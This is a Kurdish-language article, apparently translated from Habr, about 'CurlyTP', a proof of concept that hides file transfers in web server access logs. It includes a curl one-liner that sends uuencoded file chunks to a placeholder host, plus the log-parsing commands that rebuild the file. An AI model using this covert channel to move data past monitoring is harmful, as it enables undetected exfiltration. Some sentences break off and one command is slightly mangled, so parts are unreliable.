Li gorî pênaseya Wikipedia, dilopek mirî amûrek komployê ye ku ji bo danûstandina agahdarî an hin tiştan di navbera kesên ku cîhek veşartî bikar tînin de kar dike. Fikir ev e ku mirov qet nacivin - lê dîsa jî ew agahdarî diguhezînin da ku ewlehiya xebitandinê biparêzin.
Divê cihê veşartinê balê nekişîne. Ji ber vê yekê, di cîhana negirêdayî de ew bi gelemperî tiştên nehez bikar tînin: di dîwêr de kerpîçek bêserûber, pirtûkek pirtûkxaneyê, an qulikek di darekê de.
Li ser Înternetê gelek amûrên şîfrekirin û anonîmîzekirinê hene, lê rastiya bikaranîna van amûran balê dikişîne. Wekî din, ew dikarin di asta pargîdanî an hukûmetê de bêne asteng kirin. Çi bikim?
Pêşvebir Ryan Flowers vebijarkek balkêş pêşniyar kir -
Derket holê ku her serverek malperê dihêle hûn hema hema her peyamek di têketinê de hilînin. Flowers meraq kir ku meriv vê yekê çawa bikar bîne.
Ew vê vebijarkê pêşkêşî dike:
- Pelek nivîsê (peyama veşartî) bigirin û hash (md5sum) hesab bikin.
- Em wê şîfre dikin (gzip+uuecode).
- Em bi daxwaznameyek nerast ji serverê re ji têketinê re dinivîsin.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
Ji bo xwendina pelek, hûn hewce ne ku van operasyonan bi rêza berevajî bikin: pelê deşîfre bikin û vekin, hash kontrol bikin (hash dikare bi ewlehî li ser kanalên vekirî were veguheztin).
Cihên bi cih têne guhertin =+=
da ku di navnîşanê de cih nebin. Bernameya ku nivîskar jê re dibêje CurlyTP, kodkirina base64, mîna pêvekên e-nameyê, bikar tîne. Daxwaz bi keywordê tê kirin ?transfer?
da ku wergir bi hêsanî wê di têketinan de bibîne.
Di vê rewşê de em di qeydan de çi dibînin?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
Wekî ku berê jî behs kir, ji bo wergirtina peyamek veşartî hûn hewce ne ku operasyonan bi rêza berevajî bikin:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
Pêvajoya otomatîkî hêsan e. Md5sum lihevhatî ye, û naveroka pelê piştrast dike ku her tişt rast hatiye deşîfrekirin.
Rêbaz pir hêsan e. "Mebesta vê xebatê ev e ku tenê îsbat bike ku pel dikarin bi daxwazên piçûk ên malperê yên bêguneh ve werin veguheztin, û ew li ser her serverek webê bi têketinên nivîsa sade re dixebite. Di bingeh de, her web server cîhek veşartinê ye!” Flowers dinivîse.
Bê guman, rêbaz tenê kar dike ger wergir gihîştina têketinên serverê hebe. Lê gihîştina wusa, mînakî, ji hêla gelek mêvandar ve tê peyda kirin.
Meriv çawa bikar tîne?
Ryan Flowers dibêje ku ew ne pisporê ewlehiya agahdariyê ye û dê navnîşek karanîna mimkun ji bo CurlyTP berhev neke. Ji bo wî, ew tenê delîlek têgînê ye ku amûrên naskirî yên ku em her roj dibînin dikarin bi rengek ne kevneşopî werin bikar anîn.
Di rastiyê de, vê rêbazê li ser serverên din ên wekî "veşêrin" gelek avantajên xwe hene
Ev yek ji awayên veguhestina peyaman bi pelên karûbarê ve ye. Hûn dikarin bi bîr bînin ku hin pargîdaniyên pêşkeftî çawa cîh didan
Fikir ev bû ku tenê pêşdebirên malperê dê vê hêka Paskalyayê bibînin, ji ber ku kesek normal dê li sernav û koda HTML-ê nenihêre.
Source: www.habr.com